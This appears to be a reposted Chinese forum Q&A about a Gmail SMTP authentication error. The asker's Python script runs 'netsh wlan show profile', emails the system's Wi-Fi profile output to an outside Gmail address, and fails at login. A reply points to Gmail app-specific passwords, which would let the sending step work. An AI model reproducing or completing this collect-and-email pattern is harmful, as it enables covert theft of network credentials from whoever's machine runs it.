为什么我会收到身份验证错误?

XManit

我启用了“不太安全的应用程序”,但仍然出现此错误。密码和登录名正确

import subprocess, smtplib

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
  File "d:/asdasd/main.py", line 12, in <module>
    send_mail("my email", "my password", result)
  File "d:/asdasd/main.py", line 6, in send_mail
    server.login(email, password)
  File "C:\Python27\lib\smtplib.py", line 623, in login
    raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8  https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
克里斯托夫

您需要在 google 帐户上创建应用程序密码。

只需谷歌“gmail 应用程序特定密码”

BR

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章